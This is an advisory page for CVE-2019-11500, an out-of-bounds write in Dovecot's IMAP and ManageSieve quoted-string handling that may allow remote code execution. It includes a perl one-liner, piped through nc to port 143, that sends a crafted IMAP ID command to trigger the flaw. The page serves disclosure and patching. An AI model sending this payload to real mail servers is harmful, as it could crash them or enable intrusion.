Out-of-bounds write in Dovecot - CVE-2019-11500

 

Out-of-bounds write in Dovecot - CVE-2019-11500

Published: August 28, 2019


Vulnerability identifier: #VU20432
CSH Severity: High
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/U:Amber
CVE-ID: CVE-2019-11500
CWE-ID: CWE-787
Exploitation vector: Remote access
Exploit availability: No public exploit available
Vendor: Dovecot
Affected software:
Dovecot

Detailed vulnerability description

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a boundary error within IMAP and ManageSieve protocol implementation the when scanning data in quoted strings. A remote attacker can send a specially crafted request to the affected server, trigger out-of-bounds write and execute arbitrary code on the target system.

Exploitation example:

perl -e 'print "a id (\"foo\" \"".("x"x1021)."\\A\" \"bar\"
\"\000".("x"x1020)."\\A\")\n"' | nc localhost 143

How to mitigate CVE-2019-11500

Install updates from vendor's website.

Sources